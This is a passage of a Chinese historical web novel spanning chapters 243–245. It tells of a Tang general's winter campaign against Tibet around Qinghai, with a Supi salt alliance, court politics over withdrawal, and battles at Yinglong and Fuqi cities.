随着人口增长,日渐东扩。苏毗风俗与中原不同,是女王执政, 小女王辅政——国中风俗, 轻男儿而贵女郎,曾经遣使入朝。 后来此国为松赞干布所并,便再也没有了消息。可他那位神通广大的将军,竟找到了苏毗的客人? 王训知道他们聊的事情重要, 此刻心下不甘,也不好在这种时候执拗过头。 阙特勤的性子一向直来直往, 要是给了这个台阶不下,阙特勤真能立时把鞭子抽出来! 王训深深道了个礼,才转回榻上休息。 洛北与阙特勤一道步出大帐, 九月的青海,风雪漫漫, 不见停止,天地之间白茫茫一片。 冷风一吹,洛北本有些沉重的头脑又冷静起来,他低声和阙特勤道:“又不是小孩子,他耍什么牛脾气?” 阙特勤见他一双金棕色的眼眸里尽是无奈,忍不住哈哈大笑:“要不是这小子的牛脾气,我也看不到无所不能的阿史那乌特还有束手无策的时候。” 他侧过头看洛北:“不就是打仗嘛,他想去前线,你就让他去好了,他是你的亲卫,又不是前锋将军,哪那么容易陷入必死绝境之中?” 洛北皱了皱眉,没有立刻接话。 “莫不是你身为大军主帅,还打算以身犯险吧?”阙特勤正色问。 “吐蕃大论乞力徐已经提领十五万兵马到了前线,如今吐蕃控兵二十万,想要与我决一死战。但我这里拼拼凑凑,也不过十万人。”洛北轻轻叹息一声,“想要我这个主帅安心坐镇后方,怕也不是一件容易的事情啊。” 阙特勤又忍不住笑了:“我看啊,你们俩是有什么样的老师,便有什么样的弟子,你犯不着忧心太过。” 他言语豁达,说话自有一股视生死若等闲的淡然。洛北便也把一腔忧虑暂且放下:“你说有长安来的使节?” “不错,而且也是个熟人。” 他说话间替洛北掀开帘帐,大帐之中,数盏大灯在四壁熊熊燃烧,照得营帐四周有如白昼。 帐中坐着一男一女两个身影。高髻繁饰,项上戴着层层叠叠的多宝璎珞的,是苏毗的客人。一身青色官服,正在与她交谈的,便是长安来的使节。 两人闻得声响,都起身向洛北道礼。洛北这才认出这长安的使节是谁:“耀卿不是年初才从国子监转迁户部度支司员外郎任上么?怎么到青海来了?” 裴耀卿轻轻弯了眉眼唇角,笑得分外狡黠,像只狐狸:“洛将军虽在西域,却对长安事务了如指掌啊……我是为了这次战事,才转回御史台做监察御史的。” 他不愿在那苏毗的女郎面前提及太多细节,轻巧地把话题转开:“好在我对西域道路还不算太陌生,一路行来,还在路上遇到了这位苏毗小女王赵曳夫。她说要来拜访将军,我便把她捎来了。刚刚小女王正在同我解释她国家的事情呢。” 苏毗小女王赵曳夫盈盈下拜,说出口的汉话语音生疏,用词造句却很文雅:“久闻将军大名,今日一见,果真英雄。小王复国之事,有赖将军了。” “王上言重了。”洛北免了她的礼,又让众人各自坐下,换了吐蕃话与她交谈:“苏毗亡国已有八十余年,苏毗贵胄也尽入拉萨为官,世袭罔替,女王为何一意希求复国呢?” 他的吐蕃话说得十分流利,赵曳夫的芙蓉粉面面上本是一喜,但听他问得这样直接,神情不由得又端正起来。她犹豫片刻,还是以汉话道: “诚如大将军所言,我苏毗亡国有年,刚刚亡国之时,我们曾数度想要复国,都没能成功。最后,岁月荏苒,我们这些贵女,有的嫁给了吐蕃的贵胄,有的依旧在苏毗地方统领本部,但无论身处何地,我们都知道,我们是苏毗人。” 洛北没有立刻接话,对于吐蕃国内而言,“苏毗人”这三个字并不是什么难题,苏毗也是吐蕃内四族之一,与党项、吐谷浑等并列。若无一个不得不反的理由,苏毗人是不会跟随一个什么“女王的后裔”就贸然举起反叛之旗的。 大帐之中一时静默,所有的目光都盯在这位年轻的女王身上。她略一沉吟,便从随身带着的包裹中取出一卷文卷: “请您一看便知。” 洛北接过文卷一看,卷上是一本记载翔实的账册,皆是苏毗国内的往来之账。他递给裴耀卿,伸手划过其中一项,示意裴耀卿留意。 裴耀卿接过账册扫了一眼:“原来吐蕃屡屡犯我河湟、陇右一带,皆因贵国为后勤相援。” 赵曳夫苦笑道:“我苏毗虽然地方不小,有四万之众,胜兵一万。但对于大唐和吐蕃来说,不过是两条大河里的小小石子。可我部百姓皆善于骑射。故而吐蕃人每每出征,皆要征召部族儿女出兵相援,又要我们供给后勤。” “平日里打了胜仗还好。”阙特勤已经听明白了,他站起身,脸上有点嘲讽似的笑意,“摊上了最近这样的年景,吐蕃每每大败,便要从你部劫掠一番再回逻些。你部实在不堪重负,是不是?” 赵曳夫脸上一白,但在众人面前,也是勉力撑住了架势:“不错,故而我部不能再为吐蕃效力。” “这话说得简单。”洛北直视着她的双眼,“敢问女王愿意拿什么来换?” 赵曳夫没有被他的气场压倒,只定定地与他对视:“我愿以青海及吐蕃的地图来换。” “这东西对我没有什么用处。”洛北指了指一边的沙盘,那是他碎叶测影所的杰作:“女王请看。” 赵曳夫起身走了过去,但见山川高耸,蓝色的河水横流——好像从苍穹俯瞰大地,处处山川险阻,都是一目了然:“这……” “所以我问您,打算拿什么东西来换。”洛北见她不语,又重复了一遍自己的问题。 他的重重压力并未真的压垮赵曳夫,她在沙盘边踱了几步,火光在她的脸上投下斑斓的阴影。她走到一处山谷之间,伸手在沙盘上方画了一个圈,喉头微动: “将军可知,吐蕃六成食盐皆出自我苏毗?” 裴耀卿用手中金杯敲了敲桌面,他算是明白了洛北递给他文卷时轻轻一划的用意。他站起身来,轻巧地开口唱红脸: “王上决心如此,确实令我等感怀,《周礼》有云‘盐人掌盐之政令,以供百事之盐’,盐铁之利关乎国运。逻些城的吐蕃赞普岂会放任命脉悬于他族之手?” “自从吐蕃公主嫁入吐谷浑家,盐湖及周边已经交由吐谷浑人的军队接手。”赵曳夫轻轻一笑,脸上是一片得意之色:“但制盐之法,只有我苏毗女子应用最熟,而且代代相传,不为人知。” 她再度躬身向洛北下拜:“若将军肯支持我们复国,苏毗愿断吐蕃盐道,与大唐互市!” 她字句铿锵,连高髻中的金钗缀着的宝石也颤巍巍地放着光。 “可以,但我要一份盐井分布图。”洛北颔首。 “是。”赵曳夫惊喜地抬起头来,将腰间一份盐井布防图双手递给洛北,“若是将军信不过我,可遣死士焚其卤池。” “我不是为了这个。”洛北摇了摇头,没有解释下去,“还有一件事情,苏毗若断盐道,吐蕃必知苏毗叛乱,倾力来攻,贵部四万之众,如何抵挡?” “这正是小王来此的缘由。”赵曳夫目光灼灼,神情坚定,“吐蕃大军已由乞力徐带领,倾巢而出,请将军许我一月时间,等他们过了苏毗地界,我再下令断盐。” “半月。”洛北声音冷肃,“再过一月,就快到了大雪封山的时候,吐蕃牙帐只怕早备好了过冬的盐巴,用不着在意苏毗的事情了。” “是。”赵曳夫咬牙应了,“我会留家妹在将军营中,以备联络。” 待到把苏毗小女王送出帐外,帐中三人才你看看我,我看看你。裴耀卿率先笑了出来:“二位将军这角色倒是演得极好,只有我自己,越说越觉得自己在欺负姑娘家。” “你可不要太小看她了。”洛北笑笑地给他杯中添了些水,“虽说苏毗国已灭,但她在地方依旧是一部首领,挥斥方遒。哪是我们这点小把戏就能吓到的。” “再说。”阙特勤接话笑道,“她要是没做好断盐的准备,就不会带那份布防图来了,不是吗?” 裴耀卿哈哈大笑,只得承认是他多想。三人笑了一阵,洛北才正色问道:“耀卿,你现在可否解释,为什么朝廷放着那么多监察御史不派,非要把你从户部调去御史台呢?” 裴耀卿早知他有此问,从包袱中取出一枚金牌,举到他面前:“将军可识得此物?” 这金牌与褚沅昔日手中拿着的效仿,也是皇家之物。洛北颔首:“这是皇家令牌。” “不错,在我出发之前,陛下给了我一封密信,要我连同金牌一起交给你。”裴耀卿双手将那两物举过头顶,恭敬地递给洛北:“将军请自己看吧。” 洛北一头雾水地拆开信件,只扫了一眼,便有些不敢置信地抬起头:“陛下希望我从青海撤军?” 第243章 “我就想让天下人看看,我是怎么在这昔年大唐溃败之地,亲手把大唐战无不胜的旗帜重新立起来——” 这下连阙特勤都转了过来, 大帐之内一时寂静,只听得烈烈朔风在帐外作响,还有巡营士兵铠甲的碰撞声。 裴耀卿被他们的目光盯得浑身不自在, 才故作轻松地笑了一声: “陛下之前确有让将军从青海撤军之心。吐蕃人在瓜州大败之后, 重新遣使来朝,想要与大唐重约盟约,为甥舅之国。当时朝中分裂为两派,一派以前次主持盟约的左散骑常侍解琬为首,直言吐蕃求和是包藏祸心。还有一派是以御史中丞宋璟为首, 要求罢边事,停兵戈。” 裴耀卿说着,脸上不禁露出一抹苦笑:“朝内争斗剧烈, 还是宰相萧至忠等人勉力调停,才定下了边谈边打的调子。可就连派到你军中的监军御史人选,朝中都选不出来。” 阙特勤皱起眉, 似乎不太能理解他们在争论什么:“不如让张孝嵩来好了。他对西域情况熟悉, 也是吃得起行军之苦的。” 洛北笑着竖起一根手指:“孝嵩如今已经是参知政事的吏部侍郎,再把他派到青海来,不太合适吧?” “张相公自己倒是愿意来,还在朝中为自己请命。”裴耀卿拿起杯子抿了一口, “但朝中主张罢边事的大臣们不同意。”他说到这里,有些欲言又止, 只望着洛北。 洛北心知肚明:“他们担心孝嵩与我过从甚密,会徇私?” 裴耀卿苦笑道:“朝中和你过从甚密的又何止一个张相公!你洛将军混迹朝政、执掌边务这些年,不论是御史台还是御史台, 有几个人没和你有过交情?朝中好几番争执不下,最终这差事才落到了我的身上。不然我也不会从长安的户部度支司跑到青海来。” 洛北神色微动, 当着裴耀卿却并不表露,只微微一笑: “那我还要多谢耀卿愿意跑这一趟。只是,既然朝廷派遣监军到我军中,陛下又怎么会寄来一封希望我撤军的密信呢?莫非是要耀卿来盯着我撤军?” 他这分明是句玩笑话,裴耀卿和阙特勤都没能笑出来。 阙特勤轻轻一叩桌案:“我明白了,皇帝是举棋不定,想试试我们和吐蕃哪个的成色更好。” “将军,话也不是这么说。” 裴耀卿见他说得皇帝好像把一场战争视作儿戏,忙出言制止: “陛下不是不知道将士们在前线的辛苦,只是朝堂上主和派声势浩大。宋中丞连上七道奏疏,言青海征战空耗国库,不如借吐蕃称臣之机重修昔日旧盟,再派金城公主入藏和亲。这个时候陛下要是顶着朝臣的反对下令全力讨伐吐蕃,好像” 洛北微微一笑,没让裴耀卿继续把话说下去:“耀卿不要多说了,朝中情况我已经了解了,既然陛下希望我从青海撤军,那我回撤就是了。” 他似乎真的打算践行此诺,数日之后,他命众军拔营向东,由阙特勤麾下的三万突厥精骑为先锋,一路向乌海而去。 乌海以及周围的柏海皆是水草丰茂之地,虽然已到九月,草原上依旧有牧草留存。吐蕃在此地兵马不多,又无城池据守,几乎是没有多少时间就被阙特勤率兵清扫一空。 “将军真的打算撤军吗?”这日是王训当值,他伤势好了大半,但人比之前清瘦了不少,这时候穿着一件旧日做的皮袍,竟宽出小半个腰身来,洛北本要他再休息些时日,他却不甘示弱,撑着身子跳上了马。 洛北转头问他,笑得有点神秘:“你觉得呢?如果你是我,这仗要怎么打?” 王训被他问住,一时仍然在迟疑,他想了想,干脆用些大势来拖延时间,好再思考得全面些:“虽然郭知运、慕容曦光等都在青海,但将军没有办法直接对他们下军令。” “是。”洛北倒是对他这句话大为赞赏,“这是个好想法,要打好胜仗,最先要做好的准备就是处理好政治问题。” 王训不料他突然夸了这么一句,脸上飞红一片,人却低下头来仔细思索: “我会让阿阙将军先攻乌海,而后以乌海为营地,断掉吐蕃人的补给线。而后大军回撤至大非川一带,先与伏俟城的达扎恭禄交战,最后,等吐蕃大相乞力徐的主力赶到,再与他们决战。” “又是乌海、又是大非川……”裴耀卿也随军跟在洛北的队伍里,听他们说话,立刻催马赶了上来,“这样的计划要是我报到朝中,只怕薛讷薛将军会第一个跳起来。” 昔年薛讷之父薛仁贵便是率军在大非川和乌海被吐蕃军队击败,自此大唐战无不胜的威名一战皆失,吐蕃彻底崛起。唐军将领薛仁贵、阿史那道真、郭待封皆免死除名。 此事是薛仁贵之子薛讷的心中至痛。所以此前他在青海用兵才那么激进——他想平定吐蕃主力,为其父一雪前耻。 洛北神情骤然冷冽如刀,他扬鞭指向不远处的日照金山:“虽然王训做的计划一般,但有一点确实与我不谋而合。我就想让天下人看看,我是怎么在这昔年大唐溃败之地,亲手把大唐战无不胜的旗帜重新立起来——” 他话音未落,东南方突然传来急促的马蹄声。众人转头望去,但见一骑浑身浴血的斥候飞驰而来。 他似乎已为路途花光了所有力气,下马时几乎要栽到泥地里,还是王训眼疾手快地扶住了他的肩膀,湿乎乎的,都是血: “达扎恭禄亲率五千轻骑出城,要强取应龙城!” 裴耀卿手中马鞭“啪”地折断,他现在陡然意识到,朝廷不给洛北主帅任命是个何等愚蠢的决定:“哥舒将军那里……” “哥舒亶能顶得住的。”洛北解下身上的狐裘裹在颤抖的斥候身上,“现在扛不住的反而是达扎恭禄。他和吐谷浑王子坌达延墀松坐镇的伏俟城皆在我军控制范围之下,若无乞力徐麾下的兵马支援,他们根本不是我军的对手。” 他说话间转向王训:“传令阙特勤,让他把乌海的俘虏放两个回去——记得要割了耳朵再放。” 王训猛地抬头,高声应了一句,打马而去。 这一夜洛北的军队扎营之地已经靠近乌海。中军帐内,洛北将密报凑近烛火。羊皮纸上洇开的血迹像朵狰狞的曼陀罗,这是他昔年在逻些城以“乌特特勤”身份落下的一枚暗桩。 如今对方用性命送出了最后一封消息——乞力徐十万大军已过那曲,半月内必至乌海。 “将军真打算在这里和吐蕃人决战吗?”裴耀卿掀帘而入,他一面掸去身上的积雪,一面递给洛北一封信: “今天早上到的金牌,宋相公以户部清册为凭,说青海驻军每日耗费粟米千余石,朝廷希望将军给个解释” “裴监军可知我为什么每每征战,都召集西域诸部与我同行吗?” 洛北将密报丢入火盆,火苗在他金棕色的眼眸中跃动,像是冰川下的一团火: “因为西域诸部的粮草皆由我这位西突厥大汗自行调配供给,不要朝廷一布一粟。朝廷要我解释,我解释什么?” 裴耀卿望着火盆里烧成灰烬的纸张,忽而想起他此来一路上见到的那些商贾与牧民,他们往来高山河谷、大漠戈壁,以一张张印着牡丹的票据相互来往: “洛将军大治西域的时候,就想到了今日?” 洛北没有立刻回答这句话,他似乎听到什么声响,走到帐门之前,掀开了帐帘。 阙特勤正要掀帘,见是他来,难免一脸惊喜。他裹着一身冷风闯进来,铁甲上凝着几乎已成黑色的血冰: “诱饵撒出去了!达扎恭禄亲自带着前锋追来,够种!” 突厥左贤王大笑着摘下头盔,他的发间还残存着一点血迹,裴耀卿忍不住伸手掩住口鼻,洛北却已经从容展开舆图。 羊皮地图上,乌海东侧无名谷地被一抹红色狠狠圈住,像一道狰狞的伤口。 “明日我带大军前行。”洛北手指划过山谷:“赶在封山之前,与达扎恭禄再交手一次。” 裴耀卿盯着舆图上那条标记,忽而想起临行前相王李旦与他做的一次长谈。一贯温文的李旦提到洛北此人,也不由得皱眉叹息:“此人意志坚定,诡计多端,不可摧折,不可收买” 此刻帐外朔风呼啸,竟与李旦在长安城细雨中的告诫重叠。 洛北移动舆图,指了指地图上的某处:“乞力徐的大军半月后能到。如果我是乞力徐,我一定会写信给达扎恭禄,要他撑住十天时间,十天之后,吐蕃人的军队就能把我们团团围住。” 阙特勤起身道:“我明日就带五千精骑去截粮道,保管让那老小子三天都撑不住。” “不。”洛北将密信投入火盆,“我让王训带兵去。你留下守住乌海——” 阙特勤哈哈大笑:“你还肯让那小子带兵?” “刀总要淬过火才锋利,将军也是一样。”洛北轻声道:“我把宣彻王子的旧部都拨给他。” 王训走进大帐时,发现所有人的目光都钉在他身上,他丈二和尚摸不着头脑,正要发问时。洛北已经从案上拨了一枚令箭给他:“王训听令——” 三更时分,骑兵的马蹄裹着毛毡消失在风雪中。洛北和阙特勤在舆图前推演局势,裴耀卿却扛不住困意,裹着大氅沉沉睡去。 天色将亮起来的时候,斥候送来第一份战报,王训出手奇准,吐蕃军队的运粮队被劫了一批。 裴耀卿从梦中朦胧醒过来,第一缕晨光已经刺破了云层,洛北起身上马,朝阳正从远处的乌海尽头升起,将雪原染成一片血色。 他回身望向自己身后的大军,高声下令:“出发!” 第244章 “坌达延墀松的帅旗离开伏俟城之日,便是伏俟城重回大唐之手之时。” 吐蕃军旗高高飘扬的营地之中, 达扎恭禄收到了一封来自吐蕃大论乞力徐的信。 信纸上留着乞力徐的印章,信中措辞严厉,指责他“轻敌冒进, 恐中埋伏。” 随信而来的还有一封地图, 上面一只只红圈,圈住了乌海以东的数个峡谷。 “真是荒唐。” 达扎恭禄将信件付之一炬,笑笑地与他帐中的将领们打趣道: “乞力徐还以为我是三岁的孩子,见到了唐人的踪迹就急着扑过去呢,还要特地把唐可能的伏击地点圈给我……这样说, 会看地图的孩子就能当大将军了。” 他与乞力徐都出身韦氏家族,同列赤德祖赞的九政务大臣名中,本应相互扶持。可自打青海撤军之事起了分歧, 两人便有些水火不容的意思。 达扎恭禄突袭玉门军被打了埋伏,乞力徐竟连个发兵来救的样子都不做。等达扎恭禄攻破了伏俟城,乞力徐才率领军队回到青海。 达扎恭禄奇袭伏俟城, 同样一句禀报也没有, 任由自己的传令官去逻些城报功。 帐中将领谁不知道他们的不睦,闻言都极给面子地笑作一团,片刻之后才有人发问: “将军亲率偏师驻扎此地,为的是牵制住洛北的唐军主力, 若是他们发现我们不进他们的埋伏会怎么样?” “便是发现了,也不能如何。”达扎恭禄斩钉截铁地道, “他要带领大军通行,便只有这数条山谷可走。他不能打我们的埋伏,便要提防我们埋伏他……等他在乌海把粮草都耗尽, 坌达延墀松早把应龙城拿下了。” 达扎恭禄向前一步,望着帐外深沉的夜色:“他们不是一向传说洛北算无遗策吗?我今天就要让他在我手上栽倒一次。” 同样的一片夜色之中, 坌达延墀松提了提自己裘衣的领口。夜色降临之后,青海湖上的风更大了,猎猎的朔风正好掩盖了吐蕃士兵皮靴踏在冰面上的声响。 自达扎恭禄带着全部旌旗离了伏俟城,他把城头驻守的士兵撤下来一半还多,每天守城不出,任凭唐军侦查的游骑在青海湖上肆意往来。他忍气吞声了这许多时间,为的便是此刻。 “应龙城,好名字。”坌达延墀松拿起哈着白气的奴仆递上来的皮酒囊,大口地咽下一口烈酒,“从这座城向四处望,应当能把青海湖四周的草原都看得一清二楚吧?” 只有猛烈的风声回应他,风声之中还掺杂着雪粒,像小石子一样打在他的盔甲上。 “这个地方应该成为我未来国都的瞭望台。”坌达延墀松拍了拍躁动不安的战马,“再过一会儿,等到进攻的信号到来……” 片刻之后,吐蕃的斥候来报,唐军巡营士兵快要到了交接班的时候。 “便是此时!”坌达延墀松一声令下,吐蕃前锋的弯刀在月光下泛起银白的刀光。吐蕃人的马蹄裹了麻布,踏着冰面无声逼近应龙城。 便在这时,城头忽而火光大炽! 一股寒意直从坌达延墀松的脚底涌向头顶:“不好!” 数十支羽箭已经尖啸着撕裂夜空。黑沉沉的湖面被火光照得透亮,唐军的骑兵已不知何时自他们两侧现身。 “王子殿下。”哥舒亶一马当先,脸上带着得意的笑容:“我奉命在此等了你三个晚上了。” 坌达延墀松冷笑一声,勒住马匹,高声笑道:“哥舒将军果然是擅长埋伏,当年你和洛北第一次击败突骑施苏禄,用的也是这一招吧?” “可惜,我不是苏禄——凭你手下这点士兵,想要拦住我,妄想!” 他话音一落,数面吐蕃战鼓同时敲响,重步兵排阵而出,在两翼骑兵护送之下,向哥舒亶的骑兵部队压去。 哥舒亶见势不妙,随即命令骑兵部队展开,露出藏在身后的陌刀阵——重甲步兵对重甲步兵,这场对决一经展开,便惨烈异常。 吐蕃重甲步卒的骨朵还未砸下,唐军陌刀已如银瀑倒卷,将铁皮镶边的盾牌劈成两截。断肢混着血沫溅在冰面上,顷刻凝成了猩红的珊瑚。 刀剑相击之下,冰面细微的碎裂声几不可闻。 哥舒亶确实兵力不多,一刻之后便显出败相,恰在这时,应龙城头响起鸣金之声,哥舒亶便一路率军回退。 “吐谷浑的儿郎们!给我冲啊!”坌达延墀松热血沸腾,他独率亲军一路猛冲,几近到了湖心岛的位置。冰面之上,吐谷浑军队如海浪般成排向应龙城涌来。 哥舒亶的军队刚撤进城中,唐军令旗便倒劈而下,两声猛烈的爆炸声响彻夜空—— 那是日前唐军工兵在冰面上设下的陷阱。 坌达延墀松挥刀挑飞一支流矢,不料忽觉地下颤动,处处冰面裂开缝隙,吐谷浑部队一不小心,就会把自己陷进去。 他忽而想起多年之前听过的那场战役,当年在多逻斯水,眼前的哥舒亶和那位洛北将军就曾经利用河面上的火药机关覆灭过同俄特勤的军队。 “撤退!”爆裂声连绵不断,冰缝也来到了他的脚下。他猛然扯起缰绳,扯得战马扬立而起,双腿死死夹住马腹,才避过那条如白蛇般窜来的裂缝。 “回伏俟城!”他又喊了一遍,惊慌之中的传令官被他这声嘶吼唤回神智,纷纷传令后退。 他治军有年,很快就收拢残部向西北撤去,一路行去一路触目惊心——冰湖之上的窟窿里,不少地方飘着吐蕃士兵的尸体,有一些人甚至直到死前最后一刻还在向上攀爬,可他们敬爱的主帅此刻只能仓皇而逃,无暇顾及逝者的尸体。 出人意料的是,哥舒亶并未率军追击,连唐军一贯自豪的连箭弓弩也没有出现。坌达延墀松撤到岸上,借着微弱的天光回望青海湖面,他只看到唐军士兵出城收拢吐蕃人和唐人的尸首。 他张了张口,正要说什么,伏俟城上却陡然出现了数面唐军大旗,他目眦欲裂,正要发问,城头上转过一个面目俊朗,身强力壮的唐人将领。 “坌达延墀松!凉州都督郭知运奉命在此恭候多时了!” 后来的某一日,在碎叶文馆的大地图前,洛北曾与王训谈起此战得失。早已过了少年年纪,独当一面的王训,还是像之前那样小心翼翼地问起洛北,为何说他做的那个作战计划是一般的计划。 洛北歪过头来,那双金棕色的眼眸在午后日光中显出一点柔和的光: “你懂规矩,识大体。有时候也规矩得过了头。你干嘛想着就达扎恭禄的布局去拆他的招,应当把棋盘扩大——让他来应对。” “可是郭知运……”王训试探性地望向郭知运占据的白兰部诸城,“您是何时调动了郭知运的军队?” 洛北笑了,笑容里藏着一闪而过的属于大唐军神的那股肆意张扬:“我可没有调动郭知运的军队,我只是以旧日上级的身份给他写了封信……” “坌达延墀松的帅旗离开伏俟城之日,便是伏俟城重回大唐之手之时。” 伏俟城沦陷的战报来到达扎恭禄营中时,已是数日之后。坌达延墀松不甘失败,收拢残部,逃亡白兰部寻求支持。但白兰部的首领们对此反应冷淡,他只能再度遁亡山野之间,等待着达扎恭禄率军归来的那一日。 “他怎么会犯下这样的错误。”达扎恭禄在营中拍了桌子,“精锐尽出,一点余地也不给自己留!” 达扎恭禄的指节重重叩在羊皮地图上,震得铜灯里的酥油泼溅而出。帐中诸将屏息凝神,看着主帅的手指从乌海峡谷一寸寸挪向伏俟城,最终停在标注着白兰部的墨字上。 “留了也无用……”他深深叹了口气,“洛北宁可让郭知运放弃白兰部也要收回伏俟城,只要坌达延墀松一出伏俟城,这一招就是我输了。” “但我还没有把筹码输光。”他突然转身,铠甲鳞片在火光中铮然作响,“大论乞力徐的军队什么时候到!” 副将咽了口唾沫:“大帅,大论说还有五日……他嘱咐您不要再贸然出兵了。” “就是要让乞力徐看看!”达扎恭禄抓起案上的牛角杯砸向地面,乳酒在羊毛毡上洇开深色痕迹,“没有他的军队,我一样能打赢仗!” 马蹄声在子夜时分惊破山谷寂静。吐蕃轻骑卸下所有铜铃,马嘴衔枚,贴着峭壁的阴影向乌海方向疾驰。 第245章 “我曾经向姚相公许诺毕其功于一役,现在到了兑现的时候。” 一进入十月, 逻些城的风雪就没有停下来过。牙帐前象征赞普的大旗在狂风中飘舞,发出刺耳的飒飒声,赤德祖赞推开天窗向下望去。逻些城的平民和小贵胄们正如蚁群般涌向集市。 他们是去买盐的。 自三日前苏毗叛乱的消息传到逻些城, 市场上的盐价拉高了三成还多。更糟糕的是无数商人正在囤积食盐, 等着在战争之中狠赚一笔。 “商人……贵胄……家族……宰相们……”在他的思绪之间,侍官的声音飘近又拉远。 又是老生常谈的话题,年轻的赞普心想,盐价、战事、各家贵胄错综复杂的关系、唐家的态度……所有事情掺杂在一起,没有一件事情让他省心。他烦躁地关上窗, 走到密室之中开始参拜佛像。 这是曾经统一高原的,他的祖先松赞干布留下的佛像。逻些城代代相传,若有人知道了佛像的秘密, 便能再度实现统一天下的伟业。 松赞干布到他这里。不过数代而已,数代之后,雪狮子王座上的赞普便连维持疆域的能力都没有了吗? 帐外忽然传来呜咽般的号角声。赤德祖赞瞳孔骤缩, 这代表是个不好的消息。他转身要走, 不料衣袖带翻了供奉先祖的酥油长明灯,火焰顺着地毯窜上经幡,将松赞干布征伐吐谷浑的壁画熏得焦黑。 “伏俟城……”信使用尽全力也没办法说出一句完整的话,“坌达延墀松王子……” 赤德祖赞愣在现场, 他张了张口,感到自己的声音飘在远方:“达扎恭禄在哪里?大论乞力徐又在哪里?” “乌海……他们都在乌海。” 裴耀卿的笔顺着乌海的边缘画了半个圈, 还是没有想明白洛北的用意。 他们此刻正在乌海以西的苏毗领土之上,驻扎在离女王宫殿不远的地方。 白天的时候,苏毗的大臣与将军们聚集一处, 听洛北用吐蕃话陈述他此来的目的。他要恢复苏毗的旧日疆域,把女王的领土自吐蕃划分出来。而后苏毗可以在大唐和吐蕃之间保持中立——它将作为吐蕃与大唐之间的闲壤永享和平。 裴耀卿拿笔末挠了挠头, 且不说洛北说的这话有多少真实性,就说一开始,如果他一开始就要来苏毗的话,他又何必在乌海边的山谷之间绕那一下? 裴耀卿百思不得其解,便更不知要如何向朝廷解释这位主帅的行动。正当他提笔要把疑惑写在纸上时,洛北带着一点轻微的咳嗽掀帘走了进来。 “将军。”裴耀卿站起身向他道礼。 洛北一面脱下狐裘外袍,一面抓起桌上的半盏残茶一饮而尽:“不必多礼了,耀卿。”他的目光落在桌上的地图上,“在写给宫中的回函?” 便是有心要瞒着他,裴耀卿也说不出拒绝的话了。他颔首:“我还是不明白将军为什么要从乌海边绕个圈子。” “为了调走达扎恭禄的军队。” 洛北俯身在地图上替他标上各方军力的位置。他是兵部职方司出身,轻轻一画便是一目了然。 裴耀卿随着他的动作把地图上上下下地看了一遍,这才惊讶地发现,神不知鬼不觉之间,洛北已经将大唐的军队在乌海外围排布开了一个钳型。 一头是郭知运部以及哥舒亶部,另外一头则是洛北自己所率领的部队以及慕容曦光、哥舒翰部——阙特勤的军队压在中间,靠着山地的复杂局势,使得吐蕃人始终无法连成一片。 洛北画过地图,似乎是觉得裴耀卿已经能够明白,便直起身来:“当然,也为了给郭知运收复伏俟城争取时间。” 裴耀卿觉得自己似乎应该表现出恍然大悟的神情,可事实是,他对此一头雾水。 实话说,他这个监军御史本就是被硬拉到了青海,实在是莫名其妙。到了现在,他既没有像解琬那样参与谈判、挥斥方遒的机会,也没有像张孝嵩那样亲历战场、建功立业的机会。 他所做的唯一一件事情,就是赶路。 先是自己赶路,而后是同苏毗的小女王同行,再然后便是跟着洛北的军队赶路。 “耀卿还是不明白?”洛北见他神情恍惚,开口问了一句。 裴耀卿苦笑了一下:“让我从头问起吧,洛将军,你说你带着部队绕了这一圈是为了调走达扎恭禄的军队,可是……他也是隔着崎岖山路与我们对峙,并未与我们交战。” “达扎恭禄是个聪明人,他在玉门军吃了亏,不会在乌海再吃一次。看到我的帅旗移动,他就不敢穿越任何一条山谷。”洛北点了点伏俟城方向,“他会把重宝压在伏俟城和应龙城。” 裴耀卿反应了过来:“那将军又为何主动西撤,宁愿兜一个圈子撤到苏毗的土地上,也不愿意在现场再等一等,等伏俟城收回,再进攻达扎恭禄?” “因为乞力徐的主力已经穿过苏毗部,向我军袭来。如果我们不动,乞力徐和达扎恭禄就会把我们的主力困死在乌海。”洛北温声道。 “那您为什么非得亲自去?”裴耀卿又问,“派个将军去阻击达扎恭禄,不也一样?就算您不放心别人,派阙特勤去就是了,他部下多为骑兵,最善袭击。” 洛北轻轻笑了,还未说话,帐外骨力裴罗掀帘而入,带进来一阵冷风。 “裴御史不要把我们这些人想得太厉害,又把我们的对手想得太软弱了。” 骨力裴罗递给洛北一盏煎好的药,又转到地图前,给裴耀卿解释: “若不是洛将军的帅旗亲至,达扎恭禄一定会找准机会,向我们的伏击地发起猛攻。您莫要忘了,吐蕃人早已经习惯与雪原相处,而我们这些人,都是些外来客。” 洛北慢慢把药喝了半盏:“是啊,耀卿你想想,你既然会有此一问,军中将士肯定也无不例外。若无我这柄帅旗走在最前,你让他们怎么能克服得了大冬天里雪原行军的恐惧?” 裴耀卿颔首不言,他似乎想起几年前在碎叶的所见所闻,那里的人提到洛北的时候不像在说自己的主官,更像在说一位遥不可及的神祇。 “咳……”洛北将药盏放到一边,在地图上点了点达扎恭禄的部队,“自月前王训断其粮道,如今他们已经断粮,数日之内,他们的士气会一泻千里。我曾经向姚相公许诺毕其功于一役,现在到了兑现的时候。” “擂鼓,聚将!” 乌海之滨的一片茫茫草原上,黑压压地笼罩着低沉的云层。冬日里的大雪已经下了几场,给草原留下一点湿滑的痕迹。 天还没有亮,唐军已经在这草原上急速奔驰,军阵舒展,像一支离弦的箭矢。 洛北身着明光甲居于箭矢最前,身后是他的亲卫,浑释之与骨力裴罗一左一右地护在他身后,而后是洛北的亲军——他把自己的底牌压在桌上,做这一场最后的豪赌。 风雪都被这战争的前奏感染,变得躁动不安,乞力徐回头望向胡乱飞舞的帅旗,心中有点惴惴不安。 “大论!”斥候滑跪在他的马鞍之前,“唐人来了!” 乞力徐眯起眼睛,远远地看到那面象征洛北帅旗的大纛。他一直以来的不安预感终于变作现实:“唐人是从哪里冒出来的?!” 但此时此刻,被马蹄声惊扰得震颤的大地已经不许他多想,他打出手势,示意军队列阵准备——但在许多盾手还未跑到前一排时,一支鸣镝已经穿过阵前,向他的大旗飞去。 护卫大旗的小队连忙后撤,下一刻,箭雨随着鸣镝而来,像雨一样倾泻在吐蕃军队头上。 “变阵!变阵!”乞力徐脸色陡变,鲜血却忍不住沸腾起来——他现在终于明白人们说的那句话,应对洛北这样的对手,一味防守毫无用处,要击败他,只有比他更利的刃,更热的血。 朔风卷起残雪,洛北的玄色大纛在铅灰色天幕下猎猎作响,他放下弓箭,反手抽出腰间的陨铁唐刀:“将士们!随我冲!” 